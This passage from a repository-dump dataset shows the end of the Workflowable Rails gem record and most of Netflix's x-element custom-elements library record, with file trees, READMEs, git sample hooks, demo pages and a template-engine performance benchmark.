"workflows_controller.rb"}]}]}, {"type": "directory", "name": "helpers", "children": [{"type": "directory", "name": "workflowable", "children": [{"type": "file", "name": "application_helper.rb"}, {"type": "file", "name": "workflow_helper.rb"}]}]}, {"type": "directory", "name": "models", "children": [{"type": "directory", "name": "workflowable", "children": [{"type": "file", "name": "action.rb"}, {"type": "file", "name": "stage.rb"}, {"type": "file", "name": "stage_action.rb"}, {"type": "file", "name": "stage_next_step.rb"}, {"type": "file", "name": "workflow.rb"}, {"type": "file", "name": "workflow_action.rb"}]}]}, {"type": "directory", "name": "views", "children": [{"type": "directory", "name": "layouts", "children": [{"type": "directory", "name": "workflowable", "children": [{"type": "file", "name": "application.html.erb"}]}]}, {"type": "directory", "name": "shared", "children": [{"type": "directory", "name": "actions", "children": [{"type": "file", "name": "_details.html.erb"}, {"type": "file", "name": "_fields.html.erb"}]}]}, {"type": "directory", "name": "workflowable", "children": [{"type": "directory", "name": "actions", "children": [{"type": "file", "name": "options.js.erb"}, {"type": "file", "name": "_options.html.erb"}]}, {"type": "directory", "name": "workflows", "children": [{"type": "file", "name": "configure_stages.html.erb"}, {"type": "file", "name": "edit.html.erb"}, {"type": "file", "name": "index.html.erb"}, {"type": "file", "name": "new.html.erb"}, {"type": "file", "name": "show.html.erb"}, {"type": "file", "name": "stages.json.jbuilder"}, {"type": "file", "name": "_form.html.erb"}]}]}]}]}, {"type": "file", "name": "AUTHORS"}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "rails"}]}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "routes.rb"}]}, {"type": "directory", "name": "db", "children": [{"type": "directory", "name": "migrate", "children": [{"type": "file", "name": "20140406195941_create_workflowable_workflows.rb"}, {"type": "file", "name": "20140407170846_create_workflowable_stages.rb"}, {"type": "file", "name": "20140407184821_rename_workflow_initial_stage_to_initial_stage_id.rb"}, {"type": "file", "name": "20140407191620_create_workflowable_stage_next_steps.rb"}, {"type": "file", "name": "20140407193057_create_workflowable_stage_actions.rb"}, {"type": "file", "name": "20140407194247_create_workflowable_actions.rb"}, {"type": "file", "name": "20140408164900_create_workflowable_workflow_actions.rb"}, {"type": "file", "name": "20140708173311_add_order_to_action.rb"}, {"type": "file", "name": "20140818062426_add_position_to_stage_action.rb"}]}]}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "Gemfile.lock"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "tasks", "children": [{"type": "file", "name": "workflowable_tasks.rake"}]}, {"type": "directory", "name": "workflowable", "children": [{"type": "directory", "name": "actions", "children": [{"type": "file", "name": "action.rb"}]}, {"type": "file", "name": "engine.rb"}, {"type": "file", "name": "model_additions.rb"}, {"type": "file", "name": "railtie.rb"}, {"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "workflowable.rb"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "workflowable.gemspec"}]} |
# Workflowable
## What is Workflowable?
Workflowable is a Ruby gem that allows adding flexible workflow functionality to Ruby on Rails Applications. Workflowable provides an admin interface for configuring workflows, adding stages, triggering automatic actions, etc.
An example of an application using Workflowable is [Scumblr](https://www.github.com/Netflix/Scumblr)
## How do I use Workflowable?
Workflowable is installed as a gem as part of a Ruby on Rails web application. In order to use workflowable you'll need to:
1. Install/setup the gem
2. Run the database migrations
3. Add "acts_as_workflowable" to one more model you want associated with workflow
4. Setup your workflow
5. Optionally create automated actions that occur during certain states (notifications, ticket creation, external API calls, etc.)
# Sounds great! How do I get started?
Take a look at the [wiki](https://www.github.com/Netflix/Workflowable/wiki) for detailed instructions on setup, configuration, and use!
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "app\\assets\\javascripts\\workflowable\\application.js": "// This is a manifest file that'll be compiled into application.js, which will include all the files\n// listed below.\n//\n// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,\n// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.\n//\n// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the\n// compiled file.\n//\n// Read Sprockets README (https://github.com/sstephenson/sprockets#sprockets-directives) for details\n// about supported directives.\n//\n//= require jquery\n//= require jquery_ujs\n//= require jquery_nested_form \n//= require_tree .\n\n\n\n\n$(function() {\n\n $(document).foundation();\n\n $(\".select2\").select2(); \n\n $(document).on('nested:fieldAdded', function(event){\n \n $(document).foundation();\n $(\".select2\").select2(); \n \n // this field was just inserted into your form\n var field = event.field; \n\n\n $(\".action_plugin_select\").on(\"change\", \n function(e) \n { \n options_field = $(this).closest(\"fieldset\").find(\".action_options_fields\")\n options_field.addClass(\"active\");\n $.getScript(options_field.data('url') +'?action_plugin=' + this.value + \"&context=\" + options_field.data('context'))\n \n\n });\n });\n\n\n $(\".action_plugin_select\").on(\"change\", \n function(e) \n { \n options_field = $(this).closest(\"fieldset\").find(\".action_options_fields\")\n options_field.addClass(\"active\"); \n $.getScript(options_field.data('url') +'?action_plugin=' + this.value + \"&context=\" + options_field.data('context'))\n \n \n\n }\n );\n\n\n $(\".workflow_diagram\").each(function(obj) {\n $.getJSON( $(this).data('url'), function( data ) {\n\n\n // Create a new directed graph\n var g = new dagreD3.Digraph();\n\n // Add nodes to the graph. The first argument is the node id. The second is\n // metadata about the node. In this case we're going to add labels to each of\n // our nodes.\n\n\n nodes = data.nodes\n\n for (var x in nodes)\n {\n\n g.addNode(nodes[x].id, { label: nodes[x].name });\n }\n\n\n edges= data.edges\n\n for (var x in edges)\n { \n if(edges[x].current_stage_id != undefined && edges[x].next_stage_id != undefined )\n {\n g.addEdge(null, edges[x].current_stage_id, edges[x].next_stage_id);\n }\n }\n\n\n\n\n var renderer = new dagreD3.Renderer();\n\n var layout = dagreD3.layout()\n .nodeSep(20)\n .rankDir(\"LR\");\n\n\n layout = renderer.layout(layout).run(g, d3.select(\"svg\"));\n\n var svg = d3.select(\"svg\")\n .attr(\"width\", layout.graph().width + 40)\n .attr(\"height\", layout.graph().height + 40)\n .call(d3.behavior.zoom().on(\"zoom\", function() {\n var ev = d3.event;\n svg.select(\"g\")\n .attr(\"transform\", \"translate(\" + ev.translate + \") scale(\" + ev.scale + \")\");\n }));\n });\n });\n \n});\n\n\n\n", "app\\assets\\stylesheets\\workflowable\\application.css": "/*\n * This is a manifest file that'll be compiled into application.css, which will include all the files\n * listed below.\n *\n * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,\n * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.\n *\n * You're free to add application-wide styles to this file and they'll appear at the top of the\n * compiled file, but it's generally better to create a new file per style scope.\n *\n *= require_self\n *= require_tree .\n\n\n */\n\n\ndiv.field select\n{\n margin-bottom: 16px;\n}\n\nnav.top-bar\n{\n margin-bottom: 10px;\n}", "app\\controllers\\workflowable\\application_controller.rb": "# Copyright 2014 Netflix, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule Workflowable\n class ApplicationController < ActionController::Base\n end\nend\n", "app\\helpers\\workflowable\\application_helper.rb": "# Copyright 2014 Netflix, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nmodule Workflowable\n module ApplicationHelper\n end\nend\n", "app\\views\\layouts\\workflowable\\application.html.erb": "<!DOCTYPE html>\n<html>\n <head>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <title>Workflowable</title>\n <%= stylesheet_link_tag \"workflowable/application\", media: \"all\" %>\n <%= javascript_include_tag \"workflowable/application\" %>\n <%= csrf_meta_tags %>\n </head>\n <body>\n <nav class=\"top-bar hide-for-small\" data-topbar=\"\">\n <ul class=\"title-area\">\n <li class=\"name\">\n <h1><%= link_to \"Workflowable\", workflows_path %></h1>\n </li>\n </ul>\n </nav>\n <div class=\"row\">\n <div class=\"large-12 columns\">\n <%= yield %>\n </div>\n </div>\n </body>\n</html>\n", "app\\views\\workflowable\\workflows\\index.html.erb": "<table>\n <tr>\n <th>Name</th>\n <th></th>\n </tr>\n <% @workflows.each do |workflow| %>\n <tr>\n <td><%= link_to workflow.name, workflow %></td>\n <td>\n <%= link_to 'Edit', edit_workflow_path(workflow), class: \"button tiny\" %>\n <%= link_to 'Destroy', workflow, method: :delete, data: { confirm: 'Are you sure?' }, class: \"button tiny alert\" %></td>\n </tr>\n <% end %>\n</table>\n<br />\n<%= link_to 'New Workflow', new_workflow_path, class: \"button\" %>\n"} | null |
x-element | {"type": "directory", "name": "x-element", "children": [{"type": "file", "name": "bump.sh"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "demo", "children": [{"type": "directory", "name": "chess", "children": [{"type": "file", "name": "index.css"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "lit-html", "children": [{"type": "file", "name": "base-element.js"}, {"type": "file", "name": "demo-lit-html.js"}, {"type": "file", "name": "index.html"}]}, {"type": "directory", "name": "performance", "children": [{"type": "file", "name": "index.css"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "react", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "uhtml", "children": [{"type": "file", "name": "base-element.js"}, {"type": "file", "name": "demo-uhtml.js"}, {"type": "file", "name": "index.html"}]}]}, {"type": "file", "name": "deno.json"}, {"type": "file", "name": "eslint.config.js"}, {"type": "directory", "name": "etc", "children": [{"type": "file", "name": "ready.js"}]}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package-lock.json"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "PUBLISHING.md"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "server.js"}, {"type": "file", "name": "SPEC.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "test-analysis-errors.html"}, {"type": "file", "name": "test-analysis-errors.js"}, {"type": "file", "name": "test-attribute-changed-errors.html"}, {"type": "file", "name": "test-attribute-changed-errors.js"}, {"type": "file", "name": "test-basic-properties.html"}, {"type": "file", "name": "test-basic-properties.js"}, {"type": "file", "name": "test-computed-properties.html"}, {"type": "file", "name": "test-computed-properties.js"}, {"type": "file", "name": "test-default-properties.html"}, {"type": "file", "name": "test-default-properties.js"}, {"type": "file", "name": "test-element-upgrade.html"}, {"type": "file", "name": "test-element-upgrade.js"}, {"type": "file", "name": "test-initial-properties.html"}, {"type": "file", "name": "test-initial-properties.js"}, {"type": "file", "name": "test-initialization-errors.html"}, {"type": "file", "name": "test-initialization-errors.js"}, {"type": "file", "name": "test-internal-properties.html"}, {"type": "file", "name": "test-internal-properties.js"}, {"type": "file", "name": "test-listeners.html"}, {"type": "file", "name": "test-listeners.js"}, {"type": "file", "name": "test-observed-properties.html"}, {"type": "file", "name": "test-observed-properties.js"}, {"type": "file", "name": "test-read-only-properties.html"}, {"type": "file", "name": "test-read-only-properties.js"}, {"type": "file", "name": "test-reflected-properties.html"}, {"type": "file", "name": "test-reflected-properties.js"}, {"type": "file", "name": "test-render-root.html"}, {"type": "file", "name": "test-render-root.js"}, {"type": "file", "name": "test-render.html"}, {"type": "file", "name": "test-render.js"}, {"type": "file", "name": "test-scratch.html"}, {"type": "file", "name": "test-scratch.js"}, {"type": "file", "name": "test-template-engine.html"}, {"type": "file", "name": "test-template-engine.js"}, {"type": "file", "name": "x-test.js"}]}, {"type": "file", "name": "test.js"}, {"type": "file", "name": "x-element.d.ts"}, {"type": "file", "name": "x-element.js"}]} | ```
x-element
_________
/ /__ __\ \
/ / \ \ / \ \
\ \ /_\_\ / /
\_\_____/_/
```
A dead simple starting point for custom elements. It provides the following functionality:
- Efficient element generation and data binding via an integrated templating engine
- ...or use another engine (e.g., [lit-html](https://lit.dev))
- Automatic `.property` to `[attribute]` reflection (opt-in)
- Automatic `[attribute]` to `.property` synchronization (one-directional, on connected)
- Simple and efficient property observation and computation
- Simple delegated event handling
- Useful error messages
## Installation:
```
curl https://raw.githubusercontent.com/Netflix/x-element/main/x-element.js > x-element.js
```
or
```
import XElement from 'https://deno.land/x/element/x-element.js';
```
...or if you're fancy:
```
npm install @netflix/x-element
```
## Project Philosophy:
1. No compilation step is necessary for adoption, just import `x-element.js`
2. Implement a minimal set of generalized functionality
3. Make as few design decisions as possible
4. Presume adopters are browser experts already (stay out of their way)
5. Follow web platform precedents whenever possible
6. Remain compatible with any browser which fully supports custom elements
7. Prioritize simple syntax and useful comments in the code itself
8. Zero dependencies
## Development:
```
npm install && npm start
```
Then...
* http://localhost:8080
See [SPEC.md](./SPEC.md) for all the deets.
| {"index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"refresh\" content=\"0; url=/demo\">\n </head>\n <body></body>\n</html>\n", "package.json": "{\n \"name\": \"@netflix/x-element\",\n \"description\": \"A dead simple starting point for custom elements.\",\n \"version\": \"1.0.0\",\n \"license\": \"Apache-2.0\",\n \"repository\": \"https://github.com/Netflix/x-element\",\n \"type\": \"module\",\n \"main\": \"x-element.js\",\n \"module\": \"x-element.js\",\n \"types\": \"x-element.d.ts\",\n \"publishConfig\": {\n \"access\": \"public\",\n \"registry\": \"https://registry.npmjs.org\"\n },\n \"scripts\": {\n \"start\": \"node ./server.js\",\n \"lint\": \"eslint --max-warnings=0 .\",\n \"lint-fix\": \"eslint --fix .\",\n \"test\": \"node test.js | tap-parser -l\",\n \"bump\": \"./bump.sh\"\n },\n \"files\": [\n \"/x-element.js\",\n \"/demo\",\n \"/test\",\n \"/etc\"\n ],\n \"devDependencies\": {\n \"@netflix/eslint-config\": \"^3.0.0\",\n \"eslint\": \"^9.0.0\",\n \"puppeteer\": \"^22.0.0\",\n \"tap-parser\": \"^15.3.1\"\n },\n \"contributors\": [\n {\n \"name\": \"Andrew Seier\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Casey Klebba\",\n \"email\": \"[email protected]\"\n }\n ]\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 e60005bfba2cb3080f5b250d2f9da1dc18764353 Hamza Amin <[email protected]> 1728221860 +0500\tclone: from https://github.com/Netflix/x-element.git\n", ".git\\refs\\heads\\main": "e60005bfba2cb3080f5b250d2f9da1dc18764353\n", "demo\\index.css": ":root {\n font-family: monospace;\n font-size: 1.2rem;\n}\n\nbody {\n margin: 0;\n}\n\n#content {\n position: relative;\n z-index: 1;\n padding: 8px 12px;\n cursor: default;\n}\n\n#title {\n position: fixed;\n margin: 0;\n top: 50vh;\n left: 50vw;\n transform: translate(-50%, -50%);\n}\n\n#title-link,\n#title-link:visited {\n color: inherit;\n text-decoration: none;\n}\n#title-link:hover {\n text-decoration: underline;\n}\n#title-link:active {\n text-decoration: none;\n}\n\n#tagline,\n#label {\n font-size: 0.8rem;\n}\n\n#label {\n margin-top: 20px;\n margin-bottom: 0;\n}\n\n#list {\n margin-top: 8px;\n padding-inline-start: 30px;\n}\n\n#x {\n position: relative;\n z-index: 0;\n}\n\nul {\n font-size: 0.7rem;\n}\n\na:any-link,\na:visited {\n color: #047bff;\n}\na:hover {\n color: #ff2c55;\n}\na:active {\n color: #ffcc01;\n}\n", "demo\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"index.css\">\n <script type=\"module\" src=\"index.js\"></script>\n </head>\n <body>\n <div id=\"content\">\n <h1 id=\"title\"><a id=\"title-link\" href=\"../x-element.js\">x-element</a></h1>\n <h2 id=\"tagline\">A dead simple starting point for custom elements.</h2>\n <p id=\"label\">Examples</p>\n <ul id=\"list\">\n <li><a href=\"./chess\">chess piece</a></li>\n <li><a href=\"./lit-html\">integrating with lit-html</a></li>\n <li><a href=\"./uhtml\">integrating with \u00b5html</a></li>\n <li><a href=\"./react\">wrapping in react</a></li>\n <li><a href=\"../test\">run tests</a></li>\n <li><a href=\"./performance\">performance</a></li>\n </ul>\n </div>\n <hello-world id=\"x\"></hello-world>\n </body>\n</html>\n", "demo\\index.js": "import XElement from '../x-element.js';\n\nconst logo = `\\\n _________\n / /__ __\\\\ \\\\\n/ / \\\\ \\\\ / \\\\ \\\\\n\\\\ \\\\ /_\\\\_\\\\ / /\n \\\\_\\\\_____/_/\n`;\n\nclass HelloElement extends XElement {\n static template(html) {\n return () => {\n return html`\n <style>\n :host {\n display: contents;\n }\n\n #container {\n position: fixed;\n --width: 150px;\n --height: 150px;\n --font-size: 13px;\n font-weight: bold;\n line-height: calc(var(--font-size) * 1.8);\n font-size: var(--font-size);\n top: calc(0px - var(--width) / 2);\n left: calc(0px - var(--height) / 2);\n display: flex;\n align-items: center;\n justify-content: center;\n width: var(--width);\n height: var(--height);\n transform: translate(calc(0vw - var(--width)), 50vh) rotate(0deg);\n opacity: 1;\n transform-origin: center;\n border-radius: 100vmax;\n cursor: default;\n }\n\n #logo {\n padding-bottom: var(--font-size);\n }\n </style>\n <div id=\"container\"><pre id=\"logo\">${logo}</pre></div>\n `;\n };\n }\n\n connectedCallback() {\n super.connectedCallback();\n const { keyframes, options } = HelloElement.animation;\n this.shadowRoot.getElementById('container').animate(keyframes, options);\n }\n\n static get animation() {\n return {\n keyframes: [\n // The \"-93px\" is centering the logo on the \"x\" text.\n { transform: 'translate(calc(50vw - 93px), 50vh) rotate(720deg)', opacity: 0.3, offset: 1 },\n ],\n options: {\n duration: 3000,\n iterations: 1,\n easing: 'ease-out',\n fill: 'forwards',\n },\n };\n }\n}\n\n\ncustomElements.define('hello-world', HelloElement);\n", "demo\\chess\\index.css": ":root {\n font-family: sans-serif;\n font-size: 1.2rem;\n}\n\n#container {\n max-width: 12rem;\n display: flex;\n flex-direction: column;\n align-items: center;\n margin: 2rem;\n perspective: 1000px;\n}\n\nchess-piece + chess-piece {\n --hello-size: 6rem;\n}\n\nchess-piece + chess-piece + chess-piece {\n --hello-size: 5rem;\n}\n\nchess-piece:last-of-type {\n --hello-size: 4rem;\n}\n", "demo\\chess\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"index.css\">\n <script type=\"module\" src=\"index.js\"></script>\n </head>\n <body>\n <div id=\"container\">\n <chess-piece rank=\"♕\"></chess-piece>\n <chess-piece rank=\"♔\"></chess-piece>\n <chess-piece rank=\"♘\"></chess-piece>\n <chess-piece></chess-piece>\n </div>\n </body>\n</html>\n", "demo\\chess\\index.js": "import XElement from '../../x-element.js';\n\nclass ChessPieceElement extends XElement {\n static get properties() {\n return {\n rank: {\n type: String,\n reflect: true,\n },\n elementTabIndex: {\n type: Number,\n initial: 1,\n observe: (host, value) => { host.tabIndex = value; },\n },\n };\n }\n\n static template(html) {\n return ({ rank }) => {\n return html`\n <style>\n :host {\n display: block;\n width: var(--hello-size, 8rem);\n height: var(--hello-size, 8rem);\n background-color: cyan;\n border-radius: 50%;\n margin: 0.25rem;\n box-sizing: border-box;\n transition-duration: 250ms;\n transition-timing-function: cubic-bezier(0.77, 0, 0.175, 1);\n transition-property: transform, border;\n will-change: transform;\n cursor: pointer;\n }\n \n #container {\n display: flex;\n align-items: center;\n justify-content: center;\n height: 100%;\n font-size: calc(var(--hello-size, 8rem) * calc(5/11));\n }\n \n :host([rank=\"\\u2655\"]) {\n border: 4px dotted hsl(120, 100%, 50%);\n background-color: yellow;\n transform: rotateX(15deg) rotateY(15deg);\n }\n \n :host([rank=\"\\u2654\"]) {\n border: 3px solid hsl(270, 100%, 50%);\n background-color: magenta;\n color: blue;\n transform: rotateX(-10deg) rotateY(-15deg);\n }\n \n :host(:not([rank])),\n :host([rank=\"\"]) {\n background-color: #ccc;\n }\n \n :host(:hover) {\n border: 3px solid hsl(180, 100%, 50%);\n transform: translateZ(-25px);\n }\n \n :host(:focus) {\n border: 12px solid hsl(90, 100%, 50%);\n outline: none;\n }\n \n #container:empty::before {\n content: '\\u265F';\n }\n </style>\n <div id=\"container\">${rank}</div>\n `;\n };\n }\n}\n\ncustomElements.define('chess-piece', ChessPieceElement);\n", "demo\\lit-html\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./demo-lit-html.js\"></script>\n </head>\n <body>\n <ol>\n <li><demo-lit-html message=\"one\" emoji=\"\ud83d\udd25\"></demo-lit-html></li>\n <li><demo-lit-html message=\"two\" emoji=\"\ud83d\ude3b\"></demo-lit-html></li>\n <li><demo-lit-html message=\"three\" emoji=\"\u270c\ufe0f\"></demo-lit-html></li>\n </ol>\n </body>\n</html>\n", "demo\\performance\\index.css": ":root {\n line-height: 20px;\n}\n\n.label {\n font-weight: bold;\n}\n\n.output {\n height: calc(20px * 3);\n}\n\np {\n width: 70ch;\n}\n\np:first-of-type {\n margin-top: 2em;\n}\n", "demo\\performance\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"./index.css\">\n </head>\n <body>\n <div>\n <div class=\"label\">default</div>\n <pre id=\"default\" class=\"output\"></pre>\n </div>\n <div>\n <div class=\"label\">lit html</div>\n <pre id=\"lit-html\" class=\"output\"></pre>\n </div>\n <div>\n <div class=\"label\">\u00b5html</div>\n <pre id=\"uhtml\" class=\"output\"></pre>\n </div>\n <p>\n This tests the performance of <code>html</code> and <code>render</code>.\n By testing <em>only</em> these two functions, we isolate time spent by the\n templating engine from time spent by the element base class.\n </p>\n <p>\n The term “inject” refers to the process of taking an array\n of template strings, injecting special markup strings, instantiating a\n <code><template></code> element, mapping DOM elements based on the\n special markup previously injected, cloning that template element, and\n finally rendering it within a container element. Injection happens only\n <em>once per template function declaration</em>. This is the most\n time-consuming step of the process, but it also is only typically needed\n once per element base class definition.\n </p>\n <p>\n The term “initial” refers to the process of taking a\n template that’s <em>already</em> been injected and rendering it into\n a new container element. For example, if you render multiple elements in\n the page, the templating function is likely shared — this means that\n the engine can skip the <em>injection</em> phase altogether. This happens\n whenever a new element of the same type is created (i.e., the same element\n appearing in a list over-and-over again).\n </p>\n <p>\n The term “update” refers to the process of changing the values\n which are interpolated into a given template. This is the most common\n thing the engine needs to do.\n </p>\n <p>\n Finally, a note on how the tests work \u2014 they are batched up and run within\n animation frames to guard against any interference that might occur when\n an animation frame is skipped due to the main thread being busy. This is\n why the tests all take the same amount of time to complete.\n </p>\n <script type=\"module\" src=\"./index.js\"></script>\n </body>\n</html>\n", "demo\\performance\\index.js": "import XElement from '../../x-element.js';\nimport { html as litHtmlHtml, render as litHtmlRender } from 'https://unpkg.com/[email protected]/lit-html.js';\nimport { html as uhtmlHtml, render as uhtmlRender } from 'https://unpkg.com/[email protected]';\n\nclass LitHtmlElement extends XElement {\n // Use lit-html's template engine rather than the built-in x-element engine.\n static get templateEngine() {\n const render = (container, template) => litHtmlRender(template, container);\n const html = litHtmlHtml;\n return { render, html };\n }\n}\n\nclass UhtmlElement extends XElement {\n // Use \u00b5html's template engine rather than the built-in x-element engine.\n static get templateEngine() {\n return { render: uhtmlRender, html: uhtmlHtml };\n }\n}\n\n/*\n // Reference template string (since it's hard to read as an interpolated array).\n // Note that there are no special characters here so strings == strings.raw.\n <div id=\"p1\" attr=\"${attr}\"><div id=\"p2\" data-foo><div id=\"p3\" data-bar=\"bar\"><div id=\"${id}\" boolean ?hidden=\"${hidden}\" .title=\"${title}\">${content1} -- ${content2}</div></div></div></div>\n*/\nconst getStrings = () => {\n const strings = ['<div id=\"p1\" attr=\"', '\"><div id=\"p2\" data-foo><div id=\"p3\" data-bar=\"bar\"><div id=\"', '\" boolean ?hidden=\"', '\" .title=\"', '\">', ' -- ', '</div></div></div></div>'];\n strings.raw = ['<div id=\"p1\" attr=\"', '\"><div id=\"p2\" data-foo><div id=\"p3\" data-bar=\"bar\"><div id=\"', '\" boolean ?hidden=\"', '\" .title=\"', '\">', ' -- ', '</div></div></div></div>'];\n return strings;\n};\nconst getValues = ({ attr, id, hidden, title, content1, content2 }) => {\n const values = [attr, id, hidden, title, content1, content2];\n return values;\n};\nconst tick = async () => {\n await new Promise(resolve => requestAnimationFrame(resolve));\n};\n\nconst run = async (output, constructor, ...tests) => {\n output.textContent = '';\n const { render, html } = constructor.templateEngine;\n const slop = 1000;\n const injectCount = 10000;\n const initialCount = 100000;\n const updateCount = 100000;\n\n if (tests.includes('inject')) {\n // Test inject performance.\n await tick();\n let injectSum = 0;\n const injectProperties = { attr: '123', id: 'foo', hidden: false, title: 'test', content1: 'AAA', content2: 'BBB' };\n const injectContainer = document.createElement('div');\n for (let iii = 0; iii < injectCount + slop; iii++) {\n const strings = getStrings();\n const values = getValues(injectProperties);\n const t0 = performance.now();\n render(injectContainer, html(strings, ...values));\n const t1 = performance.now();\n if (iii >= slop) {\n injectSum += t1 - t0;\n }\n if (iii % 100 === 0) {\n await tick();\n }\n }\n const injectAverage = `${(injectSum / injectCount * 1000).toFixed(1).padStart(6)} \u00b5s`;\n output.textContent += `${output.textContent ? '\\n' : ''}inject: ${injectAverage} (tested ${injectCount.toLocaleString()} times)`;\n }\n\n if (tests.includes('initial')) {\n // Test initial performance.\n await new Promise(resolve => setTimeout(resolve, 0));\n let initialSum = 0;\n const initialStrings = getStrings();\n const initialProperties = { attr: '123', id: 'foo', hidden: false, title: 'test', content1: 'AAA', content2: 'BBB' };\n const initialValues = getValues(initialProperties);\n const initialContainer = document.createElement('div');\n for (let iii = 0; iii < initialCount + slop; iii++) {\n const t0 = performance.now();\n render(initialContainer, html(initialStrings, ...initialValues));\n const t1 = performance.now();\n if (iii >= slop) {\n initialSum += t1 - t0;\n }\n if (iii % 1000 === 0) {\n await tick();\n }\n }\n const initialAverage = `${(initialSum / initialCount * 1000).toFixed(1).padStart(4)} \u00b5s`;\n output.textContent += `${output.textContent ? '\\n' : ''}initial: ${initialAverage} (tested ${initialCount.toLocaleString()} times)`;\n }\n\n if (tests.includes('update')) {\n // Test update performance.\n await new Promise(resolve => setTimeout(resolve, 0));\n let updateSum = 0;\n const updateStrings = getStrings();\n const updateProperties = [\n { attr: '123', id: 'foo', hidden: false, title: 'test', content1: 'AAA', content2: 'BBB' },\n { attr: '456', id: 'bar', hidden: false, title: 'test', content1: 'ZZZ', content2: 'BBB' },\n ];\n const updateContainer = document.createElement('div');\n for (let iii = 0; iii < updateCount + slop; iii++) {\n const values = getValues(updateProperties[iii % 2]);\n const t0 = performance.now();\n render(updateContainer, html(updateStrings, ...values));\n const t1 = performance.now();\n if (iii >= slop) {\n updateSum += t1 - t0;\n }\n if (iii % 1000 === 0) {\n await tick();\n }\n }\n const updateAverage = `${(updateSum / updateCount * 1000).toFixed(1).padStart(5)} \u00b5s`;\n output.textContent += `${output.textContent ? '\\n' : ''}update: ${updateAverage} (tested ${updateCount.toLocaleString()} times)`;\n }\n};\n\nawait run(document.getElementById('default'), XElement, 'inject', 'initial', 'update');\nawait run(document.getElementById('lit-html'), 